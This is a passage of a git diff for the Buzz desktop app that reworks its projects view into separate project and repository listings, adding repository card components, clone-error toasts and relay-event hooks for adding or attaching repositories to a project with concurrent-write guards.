       <EmptyFilteredState />
     ) : viewMode === "grid" ? (
@@ -462,7 +612,7 @@ export function ProjectsView() {
         )}
       >
         {visibleProjects.map((project) => {
-          const summary = activitySummariesQuery.data?.[project.repoAddress];
+          const summary = activitySummariesQuery.data?.[project.id];
           return (
             <ProjectGridCard
               canDelete={isProjectOwnedByCurrentUser(project, currentPubkey)}
@@ -475,6 +625,9 @@ export function ProjectsView() {
               people={projectPeople(project, summary)}
               profiles={profiles}
               project={project}
+              repositoryUnavailableReason={
+                repoSnapshotsQuery.data?.unavailable[project.id]
+              }
               summary={summary}
             />
           );
@@ -486,7 +639,7 @@ export function ProjectsView() {
         data-testid="projects-list-container"
       >
         {visibleProjects.map((project) => {
-          const summary = activitySummariesQuery.data?.[project.repoAddress];
+          const summary = activitySummariesQuery.data?.[project.id];
           return (
             <ProjectListRow
               canDelete={isProjectOwnedByCurrentUser(project, currentPubkey)}
@@ -499,6 +652,9 @@ export function ProjectsView() {
               people={projectPeople(project, summary)}
               profiles={profiles}
               project={project}
+              repositoryUnavailableReason={
+                repoSnapshotsQuery.data?.unavailable[project.id]
+              }
               summary={summary}
             />
           );
@@ -506,6 +662,45 @@ export function ProjectsView() {
       </div>
     );
 
+  const repositoryItems =
+    visibleRepositories.length === 0 ? (
+      <EmptyFilteredState />
+    ) : viewMode === "grid" ? (
+      <div className="grid gap-3 md:grid-cols-2 xl:grid-cols-3">
+        {visibleRepositories.map(({ project, repository }) => (
+          <RepositoryGridCard
+            hasLocal={hasLocalRepositoryCheckout(repository, localRepoNames)}
+            key={repository.repoAddress}
+            onOpen={handleOpenRepository}
+            onOpenTerminal={handleOpenRepositoryTerminal}
+            profiles={profiles}
+            project={project}
+            repository={repository}
+            summary={
+              repositoryActivitySummariesQuery.data?.[repository.repoAddress]
+            }
+          />
+        ))}
+      </div>
+    ) : (
+      <div className={PROJECT_LIST_CONTAINER_CLASS}>
+        {visibleRepositories.map(({ project, repository }) => (
+          <RepositoryListRow
+            hasLocal={hasLocalRepositoryCheckout(repository, localRepoNames)}
+            key={repository.repoAddress}
+            onOpen={handleOpenRepository}
+            onOpenTerminal={handleOpenRepositoryTerminal}
+            profiles={profiles}
+            project={project}
+            repository={repository}
+            summary={
+              repositoryActivitySummariesQuery.data?.[repository.repoAddress]
+            }
+          />
+        ))}
+      </div>
+    );
+
   const listControls = (
     <div className="flex flex-wrap items-center gap-2 sm:justify-end">
       <label className="flex items-center gap-2 text-xs text-muted-foreground">
@@ -558,7 +753,7 @@ export function ProjectsView() {
         profiles={profiles}
         projects={projects}
         pullRequests={projectsWorkItemsQuery.data?.pullRequests.items ?? []}
-        snapshots={repoSnapshotsQuery.data}
+        snapshots={repoSnapshotsQuery.data?.snapshots}
       />
     </>
   );
@@ -566,8 +761,8 @@ export function ProjectsView() {
   const createMenu = (
     <ProjectsCreateMenu
       onCreateIssue={() => setCreateIssueOpen(true)}
+      onCreateProject={() => setCreateProjectOpen(true)}
       onCreatePullRequest={() => setCreatePullRequestOpen(true)}
-      onCreateRepository={() => setCreateProjectOpen(true)}
     />
   );
 
@@ -605,20 +800,32 @@ export function ProjectsView() {
       <CreateProjectDialog
         isCreating={createProjectMutation.isPending}
         onCreate={async (input) => {
-          const project = await createProjectMutation.mutateAsync(input);
-          toast.success(`Project "${project.name}" created.`);
-          // Land on the list that actually shows the new project — the
-          // Overview only surfaces the top few most-active repositories.
+          const result = await createProjectMutation.mutateAsync(input);
+          if (result.compatibilityWarning) {
+            toast.warning("Created as a standalone project", {
+              description: result.compatibilityWarning,
+            });
+          } else {
+            toast.success(`Project "${result.project.name}" created.`);
+          }
+          // Land on the complete project list after creation.
           handleRepositoryScopeChange("all");
-          handleFilterChange("repositories");
+          handleFilterChange("projects");
         }}
         onOpenChange={setCreateProjectOpen}
         open={createProjectOpen}
       />
       {createPullRequestOpen ? (
         <CreatePullRequestDialog
-          onCreated={async (createdProject, pullRequestId) => {
-            await goProject(createdProject.id, { pullRequestId });
+          onCreated={async (
+            createdProject,
+            createdRepository,
+            pullRequestId,
+          ) => {
+            await goProject(createdProject.id, {
+              pullRequestId,
+              repositoryId: createdRepository.id,
+            });
           }}
           onOpenChange={setCreatePullRequestOpen}
           open
@@ -627,8 +834,11 @@ export function ProjectsView() {
         />
       ) : null}
       <CreateProjectIssueDialog
-        onCreated={async (createdProject, issueId) => {
-          await goProject(createdProject.id, { issueId });
+        onCreated={async (createdProject, createdRepository, issueId) => {
+          await goProject(createdProject.id, {
+            issueId,
+            repositoryId: createdRepository.id,
+          });
         }}
         onOpenChange={setCreateIssueOpen}
         open={createIssueOpen}
@@ -651,7 +861,6 @@ export function ProjectsView() {
             <div className="w-full min-w-0 pb-4 pt-4">
               {filter === "all" ? (
                 <ProjectsOverviewPanel
-                  localRepositoryCount={localProjectCount}
                   metadata={
                     <ProjectsOverviewRail
                       profiles={profiles}
@@ -660,11 +869,6 @@ export function ProjectsView() {
                     />
                   }
                   onSelectSection={(section) => {
-                    if (section === "local") {
-                      handleRepositoryScopeChange("local");
-                      handleFilterChange("repositories");
-                      return;
-                    }
                     handleFilterChange(section);
                   }}
                   projects={projects}
@@ -689,6 +893,13 @@ export function ProjectsView() {
                         options={ISSUE_SCOPE_OPTIONS}
                         value={issueScope}
                       />
+                    ) : filter === "projects" ? (
+                      <ProjectsListScopeDropdown
+                        label="Filter projects"
+                        onChange={handleRepositoryScopeChange}
+                        options={PROJECT_SCOPE_OPTIONS}
+                        value={repositoryScope}
+                      />
                     ) : (
                       <ProjectsListScopeDropdown
                         label="Filter repositories"
@@ -734,6 +945,8 @@ export function ProjectsView() {
                       profiles={profiles}
                       viewMode={viewMode}
                     />
+                  ) : filter === "projects" ? (
+                    projectItems
                   ) : (
                     repositoryItems
                   )}
diff --git a/desktop/src/features/projects/ui/PullRequestReviewCard.tsx b/desktop/src/features/projects/ui/PullRequestReviewCard.tsx
index c903769b7d..3c68940749 100644
--- a/desktop/src/features/projects/ui/PullRequestReviewCard.tsx
+++ b/desktop/src/features/projects/ui/PullRequestReviewCard.tsx
@@ -10,7 +10,10 @@ import * as React from "react";
 import { toast } from "sonner";
 
 import { useIsManagedAgent } from "@/features/agent-memory/hooks";
-import type { Project, ProjectPullRequest } from "@/features/projects/hooks";
+import type {
+  ProjectPullRequest,
+  Repository as Project,
+} from "@/features/projects/hooks";
 import { nextProjectPullRequestReviewCreatedAt } from "@/features/projects/projectPullRequests.mjs";
 import {
   canReviewProjectPullRequest,
diff --git a/desktop/src/features/projects/ui/PullRequestReviewersRow.tsx b/desktop/src/features/projects/ui/PullRequestReviewersRow.tsx
index 3c0caa9193..f9ae64e070 100644
--- a/desktop/src/features/projects/ui/PullRequestReviewersRow.tsx
+++ b/desktop/src/features/projects/ui/PullRequestReviewersRow.tsx
@@ -3,7 +3,10 @@ import * as React from "react";
 import { toast } from "sonner";
 
 import { useIsArchivedPredicate } from "@/features/identity-archive/hooks";
-import type { Project, ProjectPullRequest } from "@/features/projects/hooks";
+import type {
+  ProjectPullRequest,
+  Repository as Project,
+} from "@/features/projects/hooks";
 import { useRequestProjectPullRequestReviewMutation } from "@/features/projects/pullRequestReviews";
 import { useUserSearchQuery } from "@/features/profile/hooks";
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
diff --git a/desktop/src/features/projects/ui/RepositoryCards.tsx b/desktop/src/features/projects/ui/RepositoryCards.tsx
new file mode 100644
index 0000000000..b412b43947
--- /dev/null
+++ b/desktop/src/features/projects/ui/RepositoryCards.tsx
@@ -0,0 +1,307 @@
+import { FolderGit2, GitBranch, Globe, SquareTerminal } from "lucide-react";
+
+import type {
+  Project,
+  ProjectActivitySummary,
+  Repository,
+} from "@/features/projects/hooks";
+import type { UserProfileLookup } from "@/features/profile/lib/identity";
+import { projectRepoHostForRepository } from "@/features/projects/lib/projectRepoHost";
+import {
+  formatExactTimestamp,
+  relativeTime,
+} from "@/features/projects/lib/projectsViewHelpers";
+import { cn } from "@/shared/lib/cn";
+import { normalizePubkey } from "@/shared/lib/pubkey";
+import { useRelayOrigin } from "@/shared/lib/useRelayOrigin";
+import { BuzzMark } from "@/shared/ui/buzz-logo/BuzzMark";
+import { Card } from "@/shared/ui/card";
+import { DropdownMenuItem } from "@/shared/ui/dropdown-menu";
+import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+import {
+  PROJECT_LIST_ROW_CLASS,
+  PROJECT_LIST_ROW_DATE_CLASS,
+  PROJECT_LIST_ROW_PREVIEW_CLASS,
+  PROJECT_LIST_ROW_TITLE_CLASS,
+  PROJECT_LIST_ROW_TRAILING_CLASS,
+} from "./projectListRowStyles";
+import {
+  ProjectActivityBar,
+  ProjectPeopleStack,
+  ProjectStatsRow,
+} from "./ProjectCards";
+import { GitHubMark } from "./GitHubMark";
+import { ProjectListRowMenu } from "./ProjectListRowMenu";
+import { projectTerminalLabel } from "./useOpenProjectTerminal";
+
+export type RepositoryListItem = {
+  project: Project;
+  repository: Repository;
+};
+
+type RepositoryItemProps = RepositoryListItem & {
+  hasLocal: boolean;
+  onOpen: (project: Project, repository: Repository) => void;
+  onOpenTerminal: (repository: Repository) => void;
+  profiles?: UserProfileLookup;
+  summary?: ProjectActivitySummary;
+};
+
+function RepositoryHostIcon({ repository }: { repository: Repository }) {
+  const host = projectRepoHostForRepository(repository, useRelayOrigin());
+  const label =
+    host.kind === "buzz"
+      ? "Buzz-hosted repository"
+      : host.kind === "external"
+        ? `Git data hosted on ${host.host}`
+        : "Repository host";
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span
+          aria-label={label}
+          className="pointer-events-auto flex h-9 w-9 shrink-0 items-center justify-center rounded-lg border border-border/60 bg-muted/40 text-muted-foreground"
+          data-testid="repository-host-icon"
+          role="img"
+        >
+          {host.kind === "buzz" ? (
+            <BuzzMark className="h-4.5 w-5" />
+          ) : host.kind === "external" && host.host === "github.com" ? (
+            <GitHubMark className="h-4.5 w-4.5" />
+          ) : host.kind === "external" ? (
+            <Globe className="h-4.5 w-4.5" />
+          ) : (
+            <FolderGit2 className="h-4.5 w-4.5" />
+          )}
+        </span>
+      </TooltipTrigger>
+      <TooltipContent>{label}</TooltipContent>
+    </Tooltip>
+  );
+}
+
+function RepositoryOpenButton({
+  onOpen,
+  project,
+  repository,
+}: Pick<RepositoryItemProps, "onOpen" | "project" | "repository">) {
+  return (
+    <button
+      className="absolute inset-0 z-0 cursor-pointer"
+      onClick={() => onOpen(project, repository)}
+      type="button"
+    >
+      <span className="sr-only">View {repository.name}</span>
+    </button>
+  );
+}
+
+function RepositoryIdentity({
+  inlineBranch = false,
+  project,
+  repository,
+}: Pick<RepositoryItemProps, "project" | "repository"> & {
+  inlineBranch?: boolean;
+}) {
+  return (
+    <>
+      <RepositoryHostIcon repository={repository} />
+      <div className="min-w-0">
+        <div className="flex min-w-0 items-center gap-2">
+          <span className={PROJECT_LIST_ROW_TITLE_CLASS}>
+            {repository.name}
+          </span>
+        </div>
+        <p className={PROJECT_LIST_ROW_PREVIEW_CLASS}>
+          {project.name}
+          {inlineBranch ? ` · ${repository.defaultBranch}` : ""}
+        </p>
+      </div>
+    </>
+  );
+}
+
+function RepositoryUpdatedLabel({
+  repository,
+  summary,
+}: Pick<RepositoryItemProps, "repository" | "summary">) {
+  const updatedAt = summary?.updatedAt || repository.createdAt;
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span className="whitespace-nowrap text-xs leading-4 text-muted-foreground/70">
+          {relativeTime(updatedAt)}
+        </span>
+      </TooltipTrigger>
+      <TooltipContent>
+        {summary?.latestCommit
+          ? `${summary.latestCommit.title || summary.latestCommit.commit.slice(0, 7)} · ${formatExactTimestamp(summary.latestCommit.createdAt)}`
+          : `Created ${formatExactTimestamp(repository.createdAt)}`}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+function repositoryPeople(
+  repository: Repository,
+  summary: ProjectActivitySummary | undefined,
+) {
+  return [
+    ...new Set(
+      [
+        repository.owner,
+        ...repository.contributors,
+        ...(summary?.participantPubkeys ?? []),
+      ].map(normalizePubkey),
+    ),
+  ];
+}
+
+function RepositoryActionsMenu({
+  hasLocal,
+  onOpenTerminal,
+  repository,
+}: Pick<RepositoryItemProps, "hasLocal" | "onOpenTerminal" | "repository">) {
+  return (
+    <ProjectListRowMenu label={`More options for ${repository.name}`}>
+      <DropdownMenuItem
+        onSelect={(event) => {
+          event.preventDefault();
+          event.stopPropagation();
+          onOpenTerminal(repository);
+        }}
+      >
+        <SquareTerminal className="h-4 w-4" />
+        {projectTerminalLabel(hasLocal)}
+      </DropdownMenuItem>
+    </ProjectListRowMenu>
+  );
+}
+
+export function RepositoryGridCard(props: RepositoryItemProps) {
+  const {
+    hasLocal,
+    onOpen,
+    onOpenTerminal,
+    profiles,
+    project,
+    repository,
+    summary,
+  } = props;
+  return (
+    <Card
+      className="group relative flex min-h-40 flex-col overflow-hidden border-border/60 bg-transparent shadow-none transition-colors duration-150 hover:bg-muted/20"
+      data-testid={`repository-card-${repository.dtag}`}
+    >
+      <RepositoryOpenButton
+        onOpen={onOpen}
+        project={project}
+        repository={repository}
+      />
+      <div className="pointer-events-none relative z-10 flex min-h-0 flex-1 flex-col p-4">
+        <div className="flex min-w-0 items-start gap-2.5">
+          <RepositoryIdentity
+            inlineBranch
+            project={project}
+            repository={repository}
+          />
+          <div className="pointer-events-auto ml-auto">
+            <RepositoryActionsMenu
+              hasLocal={hasLocal}
+              onOpenTerminal={onOpenTerminal}
+              repository={repository}
+            />
+          </div>
+        </div>
+        <p className="line-clamp-2 min-h-10 py-3 text-sm text-muted-foreground">
+          {repository.description || "A repository in this project."}
+        </p>
+        <div className="pointer-events-auto mt-auto flex items-center justify-between gap-3">
+          <ProjectPeopleStack
+            profiles={profiles}
+            pubkeys={repositoryPeople(repository, summary)}
+            workOwnerPubkey={repository.owner}
+          />
+          <RepositoryUpdatedLabel repository={repository} summary={summary} />
+        </div>
+        <div className="mt-2">
+          <ProjectStatsRow summary={summary} />
+          <div className="mt-2">
+            <ProjectActivityBar summary={summary} />
+          </div>
+        </div>
+      </div>
+    </Card>
+  );
+}
+
+export function RepositoryListRow(props: RepositoryItemProps) {
+  const {
+    hasLocal,
+    onOpen,
+    onOpenTerminal,
+    profiles,
+    project,
+    repository,
+    summary,
+  } = props;
+  return (
+    <div
+      className={cn(PROJECT_LIST_ROW_CLASS, "py-3")}
+      data-testid={`repository-row-${repository.dtag}`}
+    >
+      <RepositoryOpenButton
+        onOpen={onOpen}
+        project={project}
+        repository={repository}
+      />
+      <div className="pointer-events-none relative z-10 flex min-w-0 flex-1 items-center gap-2.5">
+        <div className="flex min-w-0 flex-1 items-center gap-2.5">
+          <RepositoryIdentity project={project} repository={repository} />
+        </div>
+        <div
+          className={cn(PROJECT_LIST_ROW_TRAILING_CLASS, "pointer-events-auto")}
+        >
+          <div
+            className="hidden w-24 shrink-0 items-center gap-1.5 text-xs text-muted-foreground md:flex"
+            data-testid="repositories-row-branch"
+          >
+            <GitBranch className="h-3.5 w-3.5 shrink-0" />
+            <span className="truncate">{repository.defaultBranch}</span>
+          </div>
+          <div
+            className="hidden items-center gap-3 xl:flex"
+            data-testid="repositories-row-summary"
+          >
+            <ProjectStatsRow fixedColumns summary={summary} />
+            <div className="w-20 shrink-0">
+              <ProjectActivityBar summary={summary} />
+            </div>
+          </div>
+          <div
+            className="hidden w-24 shrink-0 justify-end lg:flex"
+            data-testid="repositories-row-people"
+          >
+            <ProjectPeopleStack
+              profiles={profiles}
+              pubkeys={repositoryPeople(repository, summary)}
+              workOwnerPubkey={repository.owner}
+            />
+          </div>
+          <div
+            className={PROJECT_LIST_ROW_DATE_CLASS}
+            data-testid="repositories-row-date"
+          >
+            <RepositoryUpdatedLabel repository={repository} summary={summary} />
+          </div>
+          <RepositoryActionsMenu
+            hasLocal={hasLocal}
+            onOpenTerminal={onOpenTerminal}
+            repository={repository}
+          />
+        </div>
+      </div>
+    </div>
+  );
+}
diff --git a/desktop/src/features/projects/ui/UnavailableProjectRepositories.tsx b/desktop/src/features/projects/ui/UnavailableProjectRepositories.tsx
new file mode 100644
index 0000000000..f109e6b03b
--- /dev/null
+++ b/desktop/src/features/projects/ui/UnavailableProjectRepositories.tsx
@@ -0,0 +1,22 @@
+import { FolderGit2 } from "lucide-react";
+
+import type { Project } from "@/features/projects/hooks";
+
+export function UnavailableProjectRepositories({
+  project,
+}: {
+  project: Project;
+}) {
+  return (project.unavailableRepositoryAddresses ?? []).map((address) => (
+    <div
+      className="flex items-center gap-2 rounded-md border border-border/70 px-3 py-2 text-xs text-muted-foreground"
+      key={address}
+    >
+      <FolderGit2 className="h-3.5 w-3.5" />
+      <span className="max-w-80 truncate">
+        {address.slice(address.indexOf(":", 6) + 1)}
+      </span>
+      <span>Unavailable</span>
+    </div>
+  ));
+}
diff --git a/desktop/src/features/projects/ui/projectDetailHelpers.ts b/desktop/src/features/projects/ui/projectDetailHelpers.ts
index 3552e0db19..c018c426d1 100644
--- a/desktop/src/features/projects/ui/projectDetailHelpers.ts
+++ b/desktop/src/features/projects/ui/projectDetailHelpers.ts
@@ -1,4 +1,7 @@
-import type { Project, ProjectRepoSnapshot } from "@/features/projects/hooks";
+import type {
+  ProjectRepoSnapshot,
+  Repository as Project,
+} from "@/features/projects/hooks";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 
 export const PROJECT_TAB_CRUMB_LABELS: Record<string, string> = {
diff --git a/desktop/src/features/projects/ui/projectGitErrorToast.ts b/desktop/src/features/projects/ui/projectGitErrorToast.ts
new file mode 100644
index 0000000000..93fc88e595
--- /dev/null
+++ b/desktop/src/features/projects/ui/projectGitErrorToast.ts
@@ -0,0 +1,11 @@
+import { toast } from "sonner";
+
+import { projectCloneErrorPresentation } from "@/features/projects/lib/projectGitError";
+
+export function showProjectCloneErrorToast(
+  error: unknown,
+  cloneUrl?: string | null,
+) {
+  const presentation = projectCloneErrorPresentation(error, cloneUrl);
+  toast.error(presentation.title, { description: presentation.description });
+}
diff --git a/desktop/src/features/projects/ui/useOpenProjectTerminal.ts b/desktop/src/features/projects/ui/useOpenProjectTerminal.ts
index 64d2415536..b6caecf824 100644
--- a/desktop/src/features/projects/ui/useOpenProjectTerminal.ts
+++ b/desktop/src/features/projects/ui/useOpenProjectTerminal.ts
@@ -2,7 +2,8 @@ import { useQueryClient } from "@tanstack/react-query";
 import * as React from "react";
 import { toast } from "sonner";
 
-import type { Project } from "@/features/projects/hooks";
+import type { Repository } from "@/features/projects/hooks";
+import { projectCloneErrorPresentation } from "@/features/projects/lib/projectGitError";
 import { openProjectTerminal } from "@/shared/api/projectGit";
 
 export function projectTerminalLabel(hasLocalCheckout: boolean) {
@@ -19,7 +20,7 @@ export function useOpenProjectTerminal(reposDir?: string | null) {
 
   return React.useCallback(
     async (
-      project: Project,
+      project: Repository,
       options: { branch?: string | null; hasLocalCheckout: boolean },
     ) => {
       const toastId = options.hasLocalCheckout
@@ -42,10 +43,17 @@ export function useOpenProjectTerminal(reposDir?: string | null) {
           toast.dismiss(toastId);
         }
       } catch (error) {
-        toast.error(
-          error instanceof Error ? error.message : "Failed to open terminal",
-          { id: toastId },
-        );
+        const presentation = options.hasLocalCheckout
+          ? {
+              title: "Couldn’t open terminal",
+              description:
+                "Buzz could not open this checkout in your configured terminal.",
+            }
+          : projectCloneErrorPresentation(error, project.cloneUrls[0]);
+        toast.error(presentation.title, {
+          description: presentation.description,
+          id: toastId,
+        });
       }
     },
     [queryClient, reposDir],
diff --git a/desktop/src/features/projects/useAddProjectRepository.ts b/desktop/src/features/projects/useAddProjectRepository.ts
new file mode 100644
index 0000000000..14295cb554
--- /dev/null
+++ b/desktop/src/features/projects/useAddProjectRepository.ts
@@ -0,0 +1,220 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import {
+  type Project,
+  projectsQueryKey,
+  type Repository,
+} from "@/features/projects/hooks";
+import { isUnsupportedProjectKindError } from "@/features/projects/projectCreation";
+import { buildAddedRepositoryEventTemplatesFromHead } from "@/features/projects/projectRepositoryCreation";
+import {
+  addRepositoryToProject,
+  eventToRepository,
+} from "@/features/projects/projectModels";
+import { relayClient } from "@/shared/api/relayClient";
+import { signRelayEvent } from "@/shared/api/tauri";
+import { getIdentity } from "@/shared/api/tauriIdentity";
+import {
+  KIND_PROJECT_ANNOUNCEMENT,
+  KIND_REPO_ANNOUNCEMENT,
+} from "@/shared/constants/kinds";
+import { getCachedRelayOrigin } from "@/shared/lib/mediaUrl";
+
+export type AddProjectRepositoryInput = {
+  accessChannelId?: string;
+  cloneUrl?: string;
+  description?: string;
+  name: string;
+  project: Project;
+  webUrl?: string;
+};
+
+async function addProjectRepository({
+  project,
+  ...input
+}: AddProjectRepositoryInput): Promise<{
+  previousProjectId: string;
+  project: Project;
+  repository: Repository;
+}> {
+  const identity = await getIdentity();
+
+  // Fetch the live signed project head immediately before mutating.
+  // This prevents: (a) unknown-tag erasure from the cached UI projection,
+  // (b) concurrent-write clobber when another session or the CLI advanced
+  // the head after we loaded the page.
+  const liveHeads = await relayClient.fetchEvents({
+    kinds: [KIND_PROJECT_ANNOUNCEMENT],
+    authors: [identity.pubkey],
+    "#d": [project.dtag],
+    limit: 1,
+  });
+  const liveHead = liveHeads[0];
+  if (!liveHead) {
+    throw new Error(
+      "Could not find this project on the relay. Refresh and try again.",
+    );
+  }
+
+  // Dominated-write guard: if the live head is newer than our cached snapshot,
+  // a concurrent session has already advanced the project — our mutation would
+  // overwrite their changes. Surface the conflict rather than silently clobbering.
+  if (liveHead.created_at > project.createdAt) {
+    throw new Error(
+      "This project was updated by another session while you were working. Refresh and try again.",
+    );
+  }
+
+  const templates = buildAddedRepositoryEventTemplatesFromHead({
+    ...input,
+    existingRepositoryAddresses: project.repositoryAddresses,
+    liveHead,
+    ownerPubkey: identity.pubkey,
+  });
+
+  // Cross-project d-tag clobber guard: if the owner already has a 30617
+  // at this coordinate — whether as a standalone repo or in another project —
+  // block the write unconditionally unless it is already a member of this
+  // project (in which case the earlier duplicate-address check would have
+  // thrown before we reach here).
+  const existingRepoHeads = await relayClient.fetchEvents({
+    kinds: [KIND_REPO_ANNOUNCEMENT],
+    authors: [identity.pubkey],
+    "#d": [templates.repositoryDtag],
+    limit: 1,
+  });
+  if (existingRepoHeads.length > 0) {
+    throw new Error(
+      `A repository named "${templates.repositoryDtag}" already exists (as a standalone repository or in another project). Choose a different name to avoid overwriting it.`,
+    );
+  }
+
+  const [projectEvent, repositoryEvent] = await Promise.all([
+    signRelayEvent({
+      ...templates.project,
+      createdAt: Math.max(
+        Math.floor(Date.now() / 1_000),
+        liveHead.created_at + 1,
+      ),
+    }),
+    signRelayEvent(templates.repository),
+  ]);
+
+  try {
+    // Confirm grouping support before publishing the repository so older
+    // relays cannot leave a new standalone repository behind.
+    await relayClient.publishEvent(
+      projectEvent,
+      "Timed out updating the project.",
+      "Failed to update the project.",
+    );
+  } catch (error) {
+    if (isUnsupportedProjectKindError(error)) {
+      throw new Error(
+        `This relay does not support multi-repository projects (event kind ${KIND_PROJECT_ANNOUNCEMENT}).`,
+      );
+    }
+    throw error;
+  }
+
+  // If the repository publish fails, the project event is already live with a
+  // dangling member. Attempt to recover automatically before surfacing an error:
+  //
+  // 1. Query the relay by event id to distinguish two failure modes:
+  //    - Rejected ("OK false"): the relay explicitly refused the event. Retry
+  //      once; if the retry also fails, the operation is genuinely unrecoverable.
+  //    - Lost acknowledgement ("OK false" with ok:false but the relay stored it):
+  //      the event reached the relay but the transport-level ACK was lost. A
+  //      subsequent id-keyed query will find it; treat that as success.
+  //
+  // This keeps the mutation idempotent: re-submitting the same signed event is
+  // safe because event ids are deterministic hashes of the content+pubkey+timestamp.
+  let repository: Repository | null = null;
+  const publishRepository = async (): Promise<void> => {
+    await relayClient.publishEvent(
+      repositoryEvent,
+      "Timed out creating the repository.",
+      "Failed to create the repository.",
+    );
+  };
+  try {
+    await publishRepository();
+    repository = eventToRepository(repositoryEvent, getCachedRelayOrigin());
+    if (!repository) {
+      throw new Error("The repository was created but could not be read.");
+    }
+  } catch (_repoError) {
+    // Query by event id: if the relay already has this event, the ACK was
+    // merely lost — the write succeeded and we can proceed normally.
+    let alreadyStored = false;
+    try {
+      const stored = await relayClient.fetchEvents({
+        ids: [repositoryEvent.id],
+        kinds: [KIND_REPO_ANNOUNCEMENT],
+        limit: 1,
+      });
+      alreadyStored = stored.length > 0;
+    } catch {
+      // Ignore — if the query itself fails we fall through to the retry.
+    }
+    if (alreadyStored) {
+      repository = eventToRepository(repositoryEvent, getCachedRelayOrigin());
+    } else {
+      // The relay rejected or never received the event. Retry once with the
+      // same signed event (safe — deterministic id).
+      try {
+        await publishRepository();
+        repository = eventToRepository(repositoryEvent, getCachedRelayOrigin());
+      } catch (retryError) {
+        const message =
+          retryError instanceof Error
+            ? retryError.message
+            : "Failed to create the repository.";
+        // The project already lists the coordinate. Surface a partial-write
+        // error with the event id so the user (or a future repair pass) can
+        // query the relay directly and re-submit the signed event if needed.
+        throw new Error(
+          `The project was updated but the repository could not be created (event ${repositoryEvent.id.slice(0, 8)}…): ${message} ` +
+            `The add-repository operation is idempotent — re-run Add repository with the same name to resume: the recovery query will find the stored event or retry the publish.`,
+        );
+      }
+    }
+    if (!repository) {
+      repository = eventToRepository(repositoryEvent, getCachedRelayOrigin());
+    }
+    if (!repository) {
+      throw new Error("The repository was created but could not be read.");
+    }
+  }
+
+  return {
+    previousProjectId: project.id,
+    project: addRepositoryToProject(
+      project,
+      repository,
+      projectEvent.created_at,
+    ),
+    repository,
+  };
+}
+
+export function useAddProjectRepositoryMutation() {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: addProjectRepository,
+    onSuccess: ({ previousProjectId, project }) => {
+      if (previousProjectId !== project.id) {
+        queryClient.removeQueries({
+          exact: true,
+          queryKey: ["project", previousProjectId],
+        });
+      }
+      queryClient.setQueryData<Project[]>(projectsQueryKey, (current = []) =>
+        current.map((candidate) =>
+          candidate.id === previousProjectId ? project : candidate,
+        ),
+      );
+      void queryClient.invalidateQueries({ queryKey: projectsQueryKey });
+    },
+  });
+}
diff --git a/desktop/src/features/projects/useAttachProjectRepository.ts b/desktop/src/features/projects/useAttachProjectRepository.ts
new file mode 100644
index 0000000000..b72601699e
--- /dev/null
+++ b/desktop/src/features/projects/useAttachProjectRepository.ts
@@ -0,0 +1,102 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import {
+  type Project,
+  projectsQueryKey,
+  type Repository,
+} from "@/features/projects/hooks";
+import { addRepositoryToProject } from "@/features/projects/projectModels";
+import { buildProjectPatchTemplate } from "@/features/projects/projectRepositoryCreation";
+import { relayClient } from "@/shared/api/relayClient";
+import { signRelayEvent } from "@/shared/api/tauri";
+import { getIdentity } from "@/shared/api/tauriIdentity";
+import { KIND_PROJECT_ANNOUNCEMENT } from "@/shared/constants/kinds";
+
+export type AttachProjectRepositoryInput = {
+  project: Project;
+  repository: Repository;
+};
+
+async function attachProjectRepository({
+  project,
+  repository,
+}: AttachProjectRepositoryInput) {
+  const identity = await getIdentity();
+
+  // Fetch the live signed project head immediately before mutating.
+  const liveHeads = await relayClient.fetchEvents({
+    kinds: [KIND_PROJECT_ANNOUNCEMENT],
+    authors: [identity.pubkey],
+    "#d": [project.dtag],
+    limit: 1,
+  });
+  const liveHead = liveHeads[0];
+  if (!liveHead) {
+    throw new Error(
+      "Could not find this project on the relay. Refresh and try again.",
+    );
+  }
+
+  // Dominated-write guard.
+  if (liveHead.created_at > project.createdAt) {
+    throw new Error(
+      "This project was updated by another session while you were working. Refresh and try again.",
+    );
+  }
+
+  const liveAddresses = liveHead.tags
+    .filter((tag) => tag[0] === "a" && tag[1])
+    .map((tag) => tag[1] as string);
+
+  if (liveAddresses.includes(repository.repoAddress)) {
+    throw new Error("This repository is already part of the project.");
+  }
+  const template = buildProjectPatchTemplate({
+    liveHead,
+    ownerPubkey: identity.pubkey,
+    repositoryAddresses: [...liveAddresses, repository.repoAddress],
+  });
+  const projectEvent = await signRelayEvent({
+    ...template,
+    createdAt: Math.max(
+      Math.floor(Date.now() / 1_000),
+      liveHead.created_at + 1,
+    ),
+  });
+  await relayClient.publishEvent(
+    projectEvent,
+    "Timed out updating the project.",
+    "Failed to attach the repository.",
+  );
+
+  return {
+    previousProjectId: project.id,
+    project: addRepositoryToProject(
+      project,
+      repository,
+      projectEvent.created_at,
+    ),
+    repository,
+  };
+}
+
+export function useAttachProjectRepositoryMutation() {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: attachProjectRepository,
+    onSuccess: ({ previousProjectId, project }) => {
+      if (previousProjectId !== project.id) {
+        queryClient.removeQueries({
+          exact: true,
+          queryKey: ["project", previousProjectId],
+        });
+      }
+      queryClient.setQueryData<Project[]>(projectsQueryKey, (current = []) =>
+        current.map((candidate) =>
+          candidate.id === previousProjectId ? project : candidate,
+        ),
+      );
+      void queryClient.invalidateQueries({ queryKey: projectsQueryKey });
+    },
+  });
+}
diff --git a/desktop/src/features/projects/useBindProjectRepositoryChannel.ts b/desktop/src/features/projects/useBindProjectRepositoryChannel.ts
new file mode 100644
index 0000000000..8b6f1d2a1d
--- /dev/null
+++ b/desktop/src/features/projects/useBindProjectRepositoryChannel.ts
@@ -0,0 +1,68 @@
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+
+import {
+  type Project,
+  projectsQueryKey,
+  type Repository,
+} from "@/features/projects/hooks";
+import { eventToRepository } from "@/features/projects/projectModels";
+import { buildRepositoryChannelBindingTemplate } from "@/features/projects/projectRepositoryCreation";
+import { relayClient } from "@/shared/api/relayClient";
